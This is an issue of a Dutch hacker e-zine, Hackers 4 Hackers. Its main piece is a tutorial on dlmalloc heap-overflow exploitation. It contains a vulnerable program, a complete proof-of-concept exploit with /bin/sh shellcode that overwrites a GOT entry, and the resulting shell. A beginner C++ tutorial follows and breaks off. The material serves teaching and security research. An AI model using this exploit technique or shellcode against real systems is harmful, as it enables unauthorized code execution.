___ ___ _____ ___ ___ / | \ / | | / | \ / ~ \/ | |_/ ~ \ \ Y / ^ /\ Y / \___|_ /\____ | \___|_ / \/ |__| \/ +-+-+-+-+-+-+-+ +-+ +-+-+-+-+-+-+-+-+-+-+ |h|a|c|k|e|r|s| |4| |h|a|c|k|e|r|s| |1|1| +-+-+-+-+-+-+-+ +-+ +-+-+-+-+-+-+-+-+-+-+ http://www.hackers4hackers.org '27-09-2002' Om je aan of af te melden bij de mailinglijst ga je naar www.hackers4hackers.org Artikelen en dergelijke kun je mailen naar artikel@hackers4hackers.org. Vragen kun je mailen naar de desbetreffende auteur of naar post@hackers4hackers.org. - Papieren editie #1 - (een PDF bestand van de orginele uitgave is te downloaden in de filez sectie) Ter gelegenheid van Outerbrains 2k3 01. Voorwoord.................................................. (Redactie) 02. Disclaimer................................................. (Redactie) 03. Abusing "A Memory Allocator" for fun and for profit........ (Atje) 04. Intro in C++............................................... (Carni4) 05. Mixmaster protocol......................................... (Chiraz Lance) 06. Writing Irix/MIPS shellcode................................ (ntronic) 07. Rpc spoofen................................................ (Ilja van Sprundel) 08. Reguliere expressies....................................... (Asby) 09. Nawoord & Dankwoord........................................ (Redactie) ------------------------------------------------------- 01. Voorwoord ------------------------------------------------------- Goedendag allemaal, Jullie kijken nu allemaal in iets bijzonders, dit is de allereerste officiële papieren H4H. Natuurlijk hebben veel mensen in het verleden de H4H's die online stonden zelf uitgeprint om ze beter te kunnen lezen. Maar deze H4H is de eerste die echt op papier wordt uitgebracht. Het idee voor de papieren H4H kwam tijdens het vergaderen over Outerbrains, toen meer bedoelt als losse opmerking van wat we ook zouden kunnen doen. Maar voor ik het wist stond het al op de H4H site dat er een unieke papieren versie van H4H zou worden uitgebracht op Outerbrains. Er was dus geen ontkomen meer aan voor me. Een papieren H4H maken bleek heel wat anders dan de elektronische versie in elkaar te zetten, de opmaak is bij een elektronische versie een stuk eenvoudiger. Zeker als het om stukken codes gaat, in een tekstverwerker zit je al snel met verschillende lettertypes opgescheept. Voordelen aan een hardcopy versie was dat het niet meer volledig ascii-based hoefde te zijn. Er kon wat meer uiterlijk aan worden gegeven. Ik hoop dat jullie veel plezier beleven met deze uitgave van H4H, er zit in ieder geval een boel werk in. Zowel van de schrijvers als van mij. Maar naar mijn inziens is dit het zeker waard geweest. Velen zal het al opgevallen zijn dat dit lettertype wat gebruikt wordt nogal aan de kleine kant is, maar om de H4H haalbaar te houden was dit noodzakelijk. Daarnaast zullen er natuurlijk altijd spel / druk fouten in de H4H geslopen zijn, helaas is dat met een gedrukte versie niet snel weg te werken. Ik hoop dus dat jullie het me maar niet kwalijk nemen. Veel plezier met lezen, Thijs "N|ghtHawk" Bosschert Hoofdredacteur Hackers 4 Hackers Nighthawk@hackers4hackers.org H4h-redactie@hackers4hackers.org ------------------------------------------------------- 02. Disclaimer ------------------------------------------------------- Hackers 4 Hackers (H4H) is een onderdeel van stichting outerbrains. H4H of de stichting kunnen niet aansprakelijk gehouden worden voor datgene wat er met de informatie in deze H4H gedaan wordt. Wij streven een educatief doel na, bij gebruik van de door ons verstrekte informatie zijn de gevolgen voor eigen rekening. De meningen van auteurs hoeven niet hetzelfde te zijn als die van de redactie. http://www.hackers4hackers.org http://www.outerbrains.nl ------------------------------------------------------- 03. Abusing "A Memory Allocator" for fun and for profit ------------------------------------------------------- Woord vooraf Deze tekst handelt over bufferoverflows die optreden op de heap, de zogenaamde heap-based bufferoverflows. Over dit onderwerp zijn al een aantal Engelstalige teksten gepubliceerd, waaronder het zeer uitgebreide artikel van MaXX. Bij mijn weten zijn er echter nog geen Nederlandse teksten die over deze manier van exploiten verschenen, en het is daarom hoog tijd dat hier verandering in komt! Het probleem wat de kop op steekt bij het schrijven van een paper over dit onderwerp, is dat je snel geneigd bent om irrelevante zaken te gedetailleerd te beschrijven: voor het schrijven van een exploit voor een heap-based buffer- overflow is eigenlijk niet meer benodigd dan wat informatie waar je het return adres en de locatie van dit adres in de buffer moet plaatsen, maar voor het volledig begrijpen van de techniek is kennis van de interne algoritmes van malloc noodzakelijk. Ik heb geprobeerd een gulden middenweg te zoeken, en hoop dat ik daarmee deze complexe, maar vooral ook leuke manier van exploiten kan verduidelijken. Mocht er hoe dan ook na het lezen van deze tekst iets onduidelijk zijn, schroom dan niet om mij te mailen, of wat te vragen op irc (svp NIET in een query ;P ). Veel leesplezier! Benodigdheden - Zorg ervoor dat je het artikel van aleph1 (of de vertaling van dvorak) gelezen hebt! BEGRIJP die tekst, anders valt er aan dit artikel weinig lol te beleven. - Standaard gnu compiler en gnu binutils Inleiding Heap-based overflows zijn bufferoverflows die optreden in de heap. De heap bevindt zich in het datasegment van een proces: [ tekst segment ][ datasegment ][ <-- stack ] In het tekstsegment staat de machinecode van het programma, en de stack wordt gebruikt voor de returnadressen van functies, en hun locale variabelen en argumenten. Het data segment wordt voor verschillende doeleinden gebruikt, en laat zich verder opsplitsen: [data] [ bss ][ heap -->] De heap bevind zich in het datasegment, en zijn grootte kan worden aangepast door de brk() systemcall. Omdat voor een efficiënt gebruik van het geheugen kleine hoeveelheden geheugen dynamisch gereserveerd moeten kunnen worden, is er in iedere programmeertaal wel een memory allocator aanwezig die in deze behoefte voorziet. In C is wordt dit afgehandeld door de malloc, free, en realloc functies, en zij vormen als het ware een interface op de brk() systemcall: zij delen dit grote data segment op in kleinere datablokken (chunks), die dynamisch door de applicatie aangevraagd kunnen worden. Een voorbeeld van code die vulnerable is voor overflows op de heap: int main(int argc, char *argv[]) { char *buf; buf = malloc(100); strcpy(buf, argv[1]); free(buf); } Met de malloc wordt hier dynamisch een blok van 100 bytes gereserveerd voor buf; de malloc functie returned een pointer naar dit stukje geheugen. Hier kan niet eenvoudig een returnadres op de stack worden overgeschreven om de controle van de target application over te nemen, simpelweg omdat returnadressen op de stack worden opgeslagen, en we data uit dit segment niet kunnen overschrijven. Hoe kunnen we dan toch onze applicatie zover krijgen om onze eigen code uit te voeren? dlmalloc: "A Memory Allocator" Om toch de controle van een applicatie te kunnen overnemen zullen we de specifieke eigenschappen van de memory allocator moeten uitbuiten. Er zijn verschillende allocators in de omloop, en in tegenstelling tot stack-based overflows heeft het exploiten van dit soort bugs nauw verband met de door je target gebruikte software, of preciezer: memory allocator. In deze tekst richt ik me op de memory allocator van Doug Lea, de standaard gnu c malloc() implementatie. Dit is de malloc implementatie die door alle populaire linux distros wordt gebruikt. In dit onderdeel zal ik kort de werking van dlmalloc uit de doeken doen. Malloc chunks dlmalloc deelt de heap op in blokken, de zogenaamde malloc chunks. We onderscheiden verschillende chunks: - chunks die in gebruik zijn (allocated chunks): een blok data dat door de applicatie is aangevraagd met de malloc() functie en nog niet is vrijgegeven met free(). - chunks die niet meer in gebruik zijn (free chunks): een blok data dat na gebruik door de applicatie weer is vrijgegeven door free(). Free chunks kunnen worden opgesplitst in kleinere chunks, of samengevoegd worden met een andere free chunk mits ze achterelkaar op de heap liggen. Free chunks kunnen opnieuw geheel of gedeeltelijk (na een splitsing) worden gebruikt door malloc, zodat er geen ongebruikt geheugen verspild wordt: <---heap -----------------------> [FFF][FF][AAAA][FFF][AAA][FFFFFFF] (A = Allocated, F = Free) (a) (b) (c) (d) (e) (f) - Chunk (a) en (b) kunnen samengevoegd worden tot [FFFFF], want ze liggen achterelkaar op de heap en zijn beiden free. Dit gebeurt ALTIJD, ten einde geheugenverspilling te voorkomen. - Chunk (b) en (d) kunnen niet samengevoegd worden: ze zijn wel beiden free, maar er zit een allocated chunk (c) in de weg. - Chunk (f) kan worden opgesplitst in bijvoorbeeld chunks [AAAA] en [FFF]. Wilderness chunk Een speciale free chunk is de zogenaamde wilderness chunk: deze chunk loopt van de laatste allocted chunk tot de rand van het beschikbare geheugen, tot het einde van de heap dus. Deze chunk kan vergroot worden door de brk() systemcall. In het begin omvat deze wilderness chunk de gehele heap, hierna worden van deze chunks kleinere chunks afgesplitst als de applicatie een blok geheugen aanvraagt. Deze chunk wordt door dlmalloc speciaal behandeld, daar het virtueel de grootste free chunk is van alle chunks: Hij kan immers handmatig vergroot worden met de brk() systemcall. Deze chunk kan niet gebruikt worden voor het succesvol uitbuiten van een heap overflow. Bins dlmalloc houdt een administratie bij van welke chunks free zijn, en waar deze zich op de heap bevinden. Dit doet dlmalloc door de adressen van deze freechunks te organiseren in een circular doubly linked list, de zogenaamde bins. Als er dan door de applicatie weer een blok geheugen aangevraagd wordt, doorzoekt dlmalloc deze bins voor een geschikte free chunk. Er zijn verschillende bins voor chunks van verschillende grootte om het zoeken te versnellen: 8 16 ..... 1472-1536 -------------------------------------- | | | [F] [FF] [FFF...F] | | | [F] [FF] [FFFFF...F] | | [F] [FF] ( [..] = een free chunk ) | [FF] Zo worden chunks van 8 bytes opgenomen in de bin die de chunks bevat van precies 8 bytes. Een chunk van 1502 bytes wordt opgeslagen in de bin die bins bevat van 1472 t/m 1536 bytes. Voor de kleinere chunks zijn er dus bins die geen range omvatten, maar alleen chunks van exact die grootte; dit bevordert de snelheid bij het alloceren van kleine hoeveelheden geheugen. Boundary Tags Verdere management informatie, zoals de grootte van een chunk, worden opgeslagen in de zgn. boundary tags. Deze tags bevinden zich in het geheugen van de chunk zelf; je kunt ze vergelijken met bijvoorbeeld een TCP/IP header. Deze management informatie omvat de eerste 16 bytes van een chunk. Om het geheugenverlies wat door deze management informatie veroorzaakt wordt te beperken, worden de verschillende velden in deze tags anders gebruikt bij een free chunk, dan bij een allocated chunk. De definitie van een malloc chunk is als volgt: struct malloc_chunk { INTERNAL_SIZE_T prev_size; INTERNAL_SIZE_T size; struct malloc_chunk * fd; struct malloc_chunk * bk; }; De lay-out van de boundary tag ziet er dus als volgt uit: [pppp][ssss][fd ][bk ] 4 + 4 + 4 + 4 = 16 bytes voor de boundary tag De user data volgt na prev_size en size; dus na 8 bytes vanaf het begin van de chunk. Dit is mogelijk omdat de fd en bk velden in allocated chunks niet gebruikt worden. Verder is het belangrijk om te weten dat alle chunks een grootte van een meervoud van 8 bytes hebben, en dat de minimale grootte van een chunk 16 bytes is (namelijk, de grootte van een boundary tag). Door deze 8 byte boundary zijn steeds de eerste 3 bytes van het size veld niet in gebruik; immers is binair 111 gelijk aan 7. Deze drie bits worden door malloc gebruik voor status information. De least significant bit heet PREV_INUSE, en wordt geset als de vorige chunk op de heap allocated is. Op deze manier kan dlmalloc controleren of bij het free()en van een chunk deze chunk kan worden samengevoegd met de daaropvolgende chunk op de heap (dat kan als die chunk free is). Hieronder gaan we dieper in op de structuur van zowel allocated als free chunks. Allocated chunks Doordat er ruimte ingenomen wordt door de boundary tag, is een malloc chunk altijd groter dan het aantal bytes dat door de applicatie aangevraagd werd. Omdat de pointer die door malloc gereturned wordt direct naar het blok geheugen verwijst waar door de applicatie zijn data kan worden geplaatst (user data), en de boundary tag daarvoor ligt, verschilt het adres van het begin van een malloc chunk, van dat van het adres van de pointer die gereturned wordt. Het geheugen ziet er als volgt uit: &chunk -> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | prev_size: groote van de vorige malloc chunk (dit veld | | wordt door malloc alleen gebruikt als die chunk free is)| +---------------------------------------------------------+ | size: grootte van deze chunk (het aantal bytes tussen | | "chunk" en "nextchunk") en 3 bits status information | &mem -> +---------------------------------------------------------+ | fd: wordt niet gebruikt, omdat deze chunk allocated is | | (hier begint dus de data van de applicatie) | + - - - - - - - - - - - - - - - - - - - - - - - - - - - - + | bk: wordt niet gebruikt, omdat deze chunk allocated is | | (hier kan ook nog user data staan) | + - - - - - - - - - - - - - - - - - - - - - - - - - - - - + | . . . . user data (kan 0 bytes zijn) . . . . | &nextchunk -> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + | prev_size: wordt nu niet gebruikt, omdat de vorige chunk| | allocated is. Hier kan nog user data staan om geheugen | | verspilling terug te brengen. | +---------------------------------------------------------+ Belangrijk is dus dat velden die bij free chunks management informatie bevatten, bij allocated chunks gewoon user data mogen bevatten, omdat daar die informatie niet gebruikt wordt. Dit is dlmallocs manier om geheugen verspilling tot een minimum te beperken; zo is de overhead van de boundary tag teruggebracht van 16, naar 8 bytes. Free Chunk &chunk -> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | prev_size: kan user data bevatten (omdat deze chunk free| *Anders was deze | is, moet de vorige wel allocated zijn (*) | chunk met de vorige +---------------------------------------------------------+ samengevoegd | size: grootte van deze chunk (het aantal bytes tussen | | "chunk" en "nextchunk") en 3 bits status information | +---------------------------------------------------------+ | fd:forward pointer naar de volgende chunk in de circular| ** Dus niet naar | doubly-linked list (in de bin dus) (**) | nextchunk! +---------------------------------------------------------+ | bk: back pointer naar de vorige chunk in de circular | | doubly-linked list | +---------------------------------------------------------+ | . . . . ongebruikt (kan 0 bytes lang zijn) . . . . | &nextchunk -> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | prev_size: grootte van de vorige chunk (wordt hier | | gebruikt, omdat de vorige chunk free is) | +---------------------------------------------------------+ requested userdata size versus real userdata size Zoals ik hierboven al kort aankaartte is de grootte van de user data in een malloc chunk niet altijd gelijk aan de door de applicatie aangevraagde grootte (door de 8 byte boundary). dlmalloc berekent de uiteindelijke grootte van een chunk aan de hand van de request2size() macro, die vereenvoudigd op het volgende neerkomt: #define request2size( req, nb ) \ ( nb = (((req) + SIZE_SZ) + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK ) MALLOC_ALIGN_MASK is hierin 7 (binair 111), ~MALLOC_ALIGN_MASK is daarom ook binair 11111111111111111111111111111000. SIZE_SZ de grootte van een field in een boundary tag (dus 4). Wat de macro dan ook in werkelijkheid doet is 11 optellen bij de request size, en van dat geheel de laatste 3 bytes op 0 zetten. Omdat 4 bytes van de user data in het reserveerde geheugen van de volgende chunk op de heap kunnen worden opgeslagen, gelden de volgende voorbeelden: - Een malloc(11) neemt voor zijn chunk 16 bytes in beslag, en voor de user data is in werkelijkheid 12 bytes beschikbaar (waarvan dus 4 in de boundary tag van de chunk die na deze chunk op de heap ligt). - Een malloc(256) neemt 264 bytes voor zijn chunk in beslag en heeft 260 bytes voor zijn user data. Deze informatie is belangrijk, omdat we bij het overflowen van een buffer precies moeten weten waar de boundary tag van de volgende chunk begint (later zal duidelijk worden waarom). dlmalloc in actie Nu we weten waar en hoe dlmalloc zijn management informatie plaatst, moeten we nog weten hoe malloc deze informatie aanpast in de loop van een programma. Daartoe omschrijf ik hier onder beknopt de werking van de malloc() en free() functies. Hierbij zal ik niet zoals MaXX de exacte werking uit de doeken doen, maar alleen die kenmerken aanhalen die belangrijk zijn voor het begrijpen van heap based bufferoverflows. Het malloc() algoritme - De applicatie vraagt een blok data aan door middel van de malloc() function call. - De juiste bin (dit wordt bepaald aan de hand van de grootte van het blok dat aangevraagd wordt) wordt doorzocht, en als er een chunk van de exact dezelfde grootte wordt gevonden, wordt deze gebruikt als er geen chunk van exact de gevraagde grootte wordt gevonden, maar wel een chunk dat groter is, dan wordt er van die chunk een chunk van de juiste grote afgesplitst, dit kan ook de wilderness chunk zijn! - De chunk wordt uit zijn bin verwijderd door de unlink() macro, waarover later meer. - De pointer naar de user data space (dus het adres van de *fd pointer), wordt gereturned. Het free() algoritme - De applicatie geeft de pointer door van de data die hij wil vrijgeven (dit is dus &fd van de betreffende chunk). - malloc controleert of de voorgaande en achterliggende chunks in het geheugen free zijn, door de PREV_INUSE bits te checken van de chunk na nextchunk, en zijn eigen PREV_INUSE bit. Zo nodig voegt dlmalloc deze chunks samen. - De chunk wordt in de juiste bin geplaatst door de frontlink() macro. De grote unlink() truuk Om een chunk uit zijn bin te verwijderen (omdat hij gealloceerd wordt), maakt dlmalloc gebruik van een macro: #define unlink( P, BK, FD ) { \ BK = P->bk; \ [1] FD = P->fd; \ [2] FD->bk = BK; \ [3] BK->fd = FD; \ [4] } Als we een buffer op de heap overschrijven, is het mogelijk om de boundary tag van de daaropvolgende chunk te overschrijven. Doormiddels van de fd en bk pointers en de unlink macro, is het mogelijk om een willekeurige integer naar ieder willekeurig geheugenadres te schrijven! Dit levert mogelijkheden op... als we het adres van een shellcode in bk (die wordt ingelezen bij [1]) plaatsen, en het adres van een functionpointer - 12 bytes(*) in fd (wordt ingelezen bij [2]), dan de unlink macro de functionpointer overschrijven met het adres van onze shellcode (bij [3]. Zo kunnen we bijvoorbeeld het adres van onze shellcode schrijven naar het returnadres van de functie, of over een entry in de GOT table. Dit zal er dan uiteindelijk voor zorgen dat onze shellcode wordt uitgevoerd. Waar echter wel rekening mee gehouden moet worden, is dat bij stap [4] wordt geschreven naar &shellcode + 8(*) De eerste instructie in onze shellcode zal dus over deze 8 bytes heen moeten springen, waarna we een normale shellcode kunnen gebruiken. * De offset van het begin van een chunk tot fd is 12 bytes; immers is chunk->fd gelijk aan &chunk+ 12. Anders zouden we bij stap [3] naar fd + 12 schrijven. Om dezelfde reden wordt er bij stap [4] 8 bytes vanaf het adres van de shellcode een pointer geschreven; de offset van onze chunk tot bk is immers 8 bytes. De Exploit Het woord hoog tijd voor een voorbeeld exploit. Allereerst volgt hieronder het programmaatje wat we zullen exploiten: vuln.c int main(int argc, char **argv) { char *first = (char*) malloc(256); char *second = (char*) malloc(16); strcpy(first, argv[1]); free(first); free(second); } Als we als argument een buffer groter dan 256 bytes zullen meegeven, zal de boundary tag van *second overschreven worden. Het probleem is echter, dat we free() zo gek moeten zien te krijgen om de unlink() macro aan te roepen, zodat we met onze virtuele *fd en *bk pointers het adres van onze shellcode op een GOT entry kunnen schrijven. Als *second gefree()d wordt, zal dlmalloc checken of een van zijn aangrenzende mallochunks ook free zijn (aan de hand van zijn eigen PREV_INUSE bit, en die van de chunk na *second), en deze chunks - mits dit het geval is - samenvoegen. De chunk die samengevoegd wordt, wordt op zijn beurt dan weer met de unlink() macro uit zijn bin verwijderd. Omdat we het sizefield van *second kunnen overschrijven, en dlmalloc aan de hand van dit field het adres van het sizefield (en dus PREV_INUSE bit) van het daaropvolgende chunk bepaalt, kunnen we dlmalloc foppen. Dit doen we door een negatieve waarde in het sizefield van *second te plaatsen. Als we een waarde van -4 plaatsen in dit size field, zal dlmalloc denken dat de chunk na *second begint op het adres &second - 4 (normaal ligt het begin van deze chunk immers op&second + sizeof(second_chunk); nu ligt hij echter op &second + -4 = &second - 4). Dit is gelijk aan het &prev_size field van *second, en de 4 bytes die dit veld in beslag nemen zijn de laatste 4 bytes van de userdata van *first (dus de bytes 256 tot 260). Als we in dit veld 8 bytes plaatsen waarvan de least significant bit (PREV_INUSE) niet geset is, zal dlmalloc bij het free()en van *first, *second van zijn linked list halen (omdat die dan in de normale situatie samengevoegd zou worden met *first) met de unlink() macro. En dat was nou net de bedoeling. ;-) Onze EvilBuffer(tm) Samenvattend moet onze buffer er dus als volgt uitzien: - 8 dummy bytes; als *first gefree()'d wordt zullen immers hier 8 bytes geschreven worden voor *fd en *bk (dan maken deze bytes onderdeel uit van de boundary tag). - 256 bytes om *first te vullen tot aan het prev_size field (hierin kan ook de shellcode geplaatst worden). - 4 dummy bytes voor het overflowen van het prev_size field van de boundary tag van *second. hiervan moet de PREV_INUSE byte niet geset zijn. - 0xfffffffc ( == -4) voor het overflowen van het size field. - Het adres van de GOT entry - 12 bytes voor het fd field. We gebruiken in onze exploit de GOT entry van free, omdat de code bij de tweede aanroep van free() dan onze shellcode uitvoert. - Het adres van onze shellcode. - Een NULL byte op de string te beëindigen. Proof of Concept code Hieronder volgt de exploit die de technieken beschreven in deze paper toepast. We plaatsen hier de shellcode op de heap voor ons eigen gemak, maar we hadden deze natuurlijk ook in het environment of ergens anders kunnen plaatsen. Eerst moeten we de GOT entry van free weten: $ objdump -R vuln | grep free 08049650 R_386_JUMP_SLOT free En ook willen we graag weten wat het adres van *first is, zodat we weten waar onze shellcode komt te staan: $ ltrace ./vuln 2>&1 | grep 256 malloc(256) = 0x080496a0 &fd overwriten we dus met 0x08049650 - 12, en &bk overwriten we met 0x080496a0 + 8 (het adres van onze shellcode). Onze exploit wordt nu als volgt: #include #include #define GOT_ENTRY 0x08049650 // het adres van de GOT entry van free() #define SHELLCODE 0x080496a0 + 8 // het adres van onze shellcode #define DUMMY 0xb0efb0ef // een dummy value char shellcode[] = /* de 12-byte jump instruction */ "\xeb\x0appssssffff" /* de originele Aleph One shellcode */ "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main( void ) { char *p; // pointer die we gebruiken voor het vullen van buf char buf[528]; // de buffer die we als argument mee geven aan vuln.c char *argv[] = { "./vuln", buf, NULL }; // argv structure voor de execve() call /* We plaatsen eerst de dummy values in de buffer; * deze 8 bytes zullen later overschreven worden wanneer * *first gefree()d wordt (dit worden dan de fd en bk velen van zijn boundary tag) */ p = buf; *( (void **)p ) = (void *)( DUMMY ); p += 4; *( (void **)p ) = (void *)( DUMMY ); /* We plaatsen onze shellcode in de buffer... */ p += 4; memcpy( p, shellcode, strlen(shellcode) ); /* ...en de rest van de buffer vullen we tot de 256 byte boundary met junkchars /* p += strlen( shellcode ); memset( p, 'A', 256 - strlen(shellcode) - 8 ); /* het prev_size field van *second overwriten we met een dummy waarvan de PREV_INUSE bit niet geset is */ p = (buf + 256); *( (size_t *)p ) = (size_t)( DUMMY & ~1 ); /* het size field van *second overwriten we met -4 /* p += 4; *( (size_t *)p ) = (size_t)( -4 ); /* het fd field wordt overschreven met de GOT entry van free(), minus 12 bytes */ p += 4; *( (void **)p ) = (void *)( GOT_ENTRY - 12 ); /* het bk field overschrijven we met het adress van onze shellcode */ p += 4; *( (void **)p ) = (void *)( SHELLCODE ); /* en dan sluiten we onze buffer af met een NULL character */ p += 4; *p = '\0'; /* tot slot voeren we vuln uit, met als argument onze buffer */ execve( argv[0], argv, NULL ); } We compilen en testen deze exploit: [atje@eTERNAL atje]$ gcc -o expl expl.c && ./expl sh-2.05a$ Truuk gelukt, hoera. Tot Slot Gefeliciteerd, je hebt je door de gehele tekst heen weten te worstelen; mijn dank is groot. Zo ook mijn dank aan de volgende mensen; MaXX van synnergy voor het uitstekende artikel; genetics voor de l33te titel en het porten van dit document naar LaTeX voor de printverslaafden; en tot slot nog heel #netric voor vanallesennogwat. Salut! Atje Appendix: handige links [1] dvorak's artikel: http://www.hackers4hackers.org/reader.php?h4h=05&page=11 [2] maxx's artikel: http://www.phrack.org/show.php?p=57&a=8 [3] dlmalloc: http://g.oswego.edu/dl/html/malloc.html ------------------------------------------------------- 04. Intro in C++ ------------------------------------------------------- Welkom bij dit artikel over C++, in dit artikel zal ik een aantal belangrijke basisonderwerpen van C++ bespreken. Ik ga er hierbij van uit dat je weet wat een compiler is en hoe je een C++ programma moet compilen. Als je niet weet hoe je een C++ programma moet compilen, lees dan eerst de handleiding van je compiler. Dit zijn de onderwerpen die aan bod zullen komen: C++ leren zonder C kennis De geschiedenis van C++ "Hello world"; je eerste C++ programma Variabelen en constanten Logische en relationele operatoren Beslissingsstructuren Loops Functies C++ leren zonder C kennis Een veel gestelde vraag op forums en op irc is of je, als je geen C of misschien helemaal geen programmeerkennis hebt, meteen C++ kan gaan leren. Ik vind van wel, het is natuurlijk mooi meegenomen als je al andere talen kunt, maar het is niet vereist. Sommige mensen vinden dat je eerst C moet leren voordat je met C++ kunt beginnen, vind ik onlogisch, C++ is een uitbreiding op C(zie ook 'De geschiedenis van C++') en dus kun je net zo goed meteen met C++ beginnen. Dit wordt straks nog wel wat duidelijker, als je het deel over de geschiedenis van C++ hebt gelezen. De geschiedenis van C++ Zoals je waarschijnlijk weet is C++ de opvolger van. C werd in 1972 door Dennis Ritchie geschreven in Bell Labs, en C++ in 1980, door Bjarne Stroustrup. In 1978 schreef Ritchie samen met Kernighan(K & R) het bekende boek "The C Programming Language by Kernighan & Ritchie". In 1988 werd ANSI C afgerond, ANSI staat voor American National Standards Institute, ANSI C is dus de standaard voor C. C++ moest vooral een betere C worden, maar moest ook de mogelijkheid om object georiënteerd te programmeren vergemakkelijken. Tegenwoordig worden veel bekende programma's in C++ geschreven, sommigen ook nog in C, maar het maakt ook niet veel verschil, omdat C programma's ook als C++ programma's gecompiled kunnen worden. Het grote voordeel aan C++(maar ook wel aan C) is dat het zo snel is. Een ander groot voordeel is de portability, wat inhoudt dat je zonder al te veel moeite een C++ programma dat je in Windows hebt geschreven in Linux kunt gebruiken. Let er wel op dat C++ case sensitive(hoofdlettergevoelig) is, en dus de variabele Getal beschouwt als een andere variabele als getaL. Elk C++ programma moet de functie main hebben, dit is de hoofdfunctie en deze functie kan NIET worden aangeroepen vanuit een andere functie. Het is ook niet mogelijk twee functies te hebben met dezelfde naam. C++ maakt gebruik van headers, dit zijn bestanden met ontzettend lange en veel voorgeschreven functies, zoals de functie om tekst op het scherm af te drukken. Headers hebben de extensie .h en je moet ze boven aan je source includen om ze te kunnen gebruiken. Dit leek me op zich genoeg inleiding om te beginnen met het schrijven van je eerste C++ programma, volledig volgens de regels, "Hello world". "Hello world"; je eerste C++ programma Zoals in zoveel programmeerartikelen beginnen wij ook met het programma "Hello world". Dit voorbeeld is zo bekend geworden door het boek van K & R, zie: "De geschiedenis van C++". Het programma dat we gaan schrijven drukt alleen "Hello world" op het scherm af, en wacht vervolgens op een toetsaanslag(neem de getallen voor de regels NIET over, die gebruik ik om de uitleg na de code makkelijker te maken): 1. //hello_world.cpp 2. #include 3. 4. void main() 5. { 6. cout << "Hello world" << endl; 7. cin.get(); 8. } Dat was het al, 8 regeltjes maar, compile dit en je zult de tekst "Hello world" op het scherm zien verschijnen, de uitleg: Regel 1: Commentaar met de bestandsnaam, commentaar zet je in C++ achter //, het commentaar loopt dan door tot het eind van de regel. Regel 2: Hier wordt aangegeven dat de header iostream.h(Input Output stream) gebruikt moet worden. Regel 4: Op deze regel wordt de naam van de functie aangegeven en de returnvalue(terug te geven waarde), in dit geval void(leeg), omdat deze functie gewoon geen waarde teruggeeft. Regel 5: De openingsaccolade, hier begint de functie main Regel 6: Om deze regel draait eigenlijk het hele programma, omdat hier de tekst "Hello world" wordt afgedrukt. Vervolgens wordt er een enter afgedrukt, door middel van endl, dit is een afkorting voor EndLine. Je kunt dus meerdere dingen afdrukken met cout(lees c out) door er << tussen te zetten, zoals zo: cout << "Dit komt op de eerste regel" << endl << "en dit komt eronder te staan."; Let er ook even op dat achter elk statement(opdracht / commando) een ; moet, dit geeft het eind van het statement aan. Je kunt een cout statement ook op meerdere regels zetten als hij te lang wordt: cout "Blaat" << endl << "Deze regel wordt te lang...dan maar naar de volgende regel, " << endl << "en dan kun je hier verdergaan."; Regel 7: Hier wordt de opdracht gegeven te wachten tot er op een toets wordt gedrukt, zodat het programma kan worden afgesloten. Dit is vooral omdat sommige compilers de gewoonte hebben heel even een console-venster te laten zien met de uitvoer, en het vervolgens weer te sluiten, zodat je er niets van kunt zien. Regel 8: De sluitingsaccolade, hier houdt de functie main op, omdat er verder geen opdrachten zijn gegeven wordt het programma afgesloten. Dit lijkt me allemaal nog aardig te begrijpen, vooral als je al een beetje kennis van C++ hebt, laten we dus maar snel door gaan naar het volgende onderwerp; variabelen. Variabelen en constanten Variabelen zijn een zeer belangrijk onderdeel van bijna elke programmeertaal. Een variabele is een stukje van het werkgeheugen waarin je gegevens kunt opslaan, je kunt dat stukje geheugen ook een naam geven zodat je de informatie makkelijk weer kunt opvragen. Omdat je de informatie in een variabele kunt wijzigen, het is dus variabel, heet het een variabele. Je hebt in C++ verschillende types variabelen, hieronder staan de types die we in dit artikel zullen gebruiken: Type Minimum Maximum Aantal bytes in geheugen Integer -32768 32767 2 Float 3.4 × 10 tot de macht -38 3.4 × 10 tot de macht 38 4 Double 1.7 × 10 tot de macht -308 1.7 × 10 tot de macht 308 8 Char -128 127 1 In alle van de bovenstaande types kun je getallen opslaan om berekeningen mee uit te voeren, ook met de char, hoewel deze eigenlijk is bedoeld om letters in op te slaan. Laten we om dit uit te proberen maar eens een simpel programmaatje schrijven dat getallen bij elkaar op kan tellen. Eerst moet het programma om twee getallen vragen, en vervolgens worden die getallen bij elkaar opgeteld en wordt de uitkomst afgedrukt op het scherm: 1. // optel.cpp, programma om getallen op te tellen 2. #include 3. 4. void main() 5. { 6. int getal1; // declaratie 7. int getal2; // van de 8. int uitkomst; // variabelen 9. 10. cout << "Het eerste getal: "; 11. cin >> getal1; // wijst ingevoerde waarde toe aan getal1 12. 13. cout << "Het tweede getal: "; 14. cin >> getal2; // wijst ingevoerde waarde toe aan getal2 15. 16. uitkomst = getal1 + getal2; 17. cout << getal1 << " + " << getal2 << " = " << uitkomst; 18. 19. cin.get(); 20. } Ik zal de nieuwe delen van dit programma maar even regel voor regel uitleggen: Regel 6, 7 en 8: In deze regels worden integer variabelen gedeclareerd, oftewel, er wordt een stukje geheugen gereserveerd voor het opslaan van een geheel getal. Je zou deze drie declaraties ook op één regel kunnen zetten: int getal1, getal2, uitkomst; Regel 11 en 14: Hier wordt de ingetikte waarde toegewezen aan de variabele, in regel 11 is dat getal1 en in regel 14 getal2. Regel 16: Op deze regel wordt getal1 bij getal2 opgeteld, de uitkomst wordt opgeslagen in de variabele "uitkomst". De rest ben je ook al tegengekomen in het eerste programma, en dit zal ik dus ook niet uitleggen. Als je decimale getallen wilt gebruiken ben je een ander type variabele nodig, hiervoor kun je zowel een float als een double gebruiken. Beide types hebben een gigantisch bereik en je zult dus niet snel meemaken dat de variabele te klein is voor de waarde. Om de float wat duidelijker te maken gaan we een euro-omrekener maken, 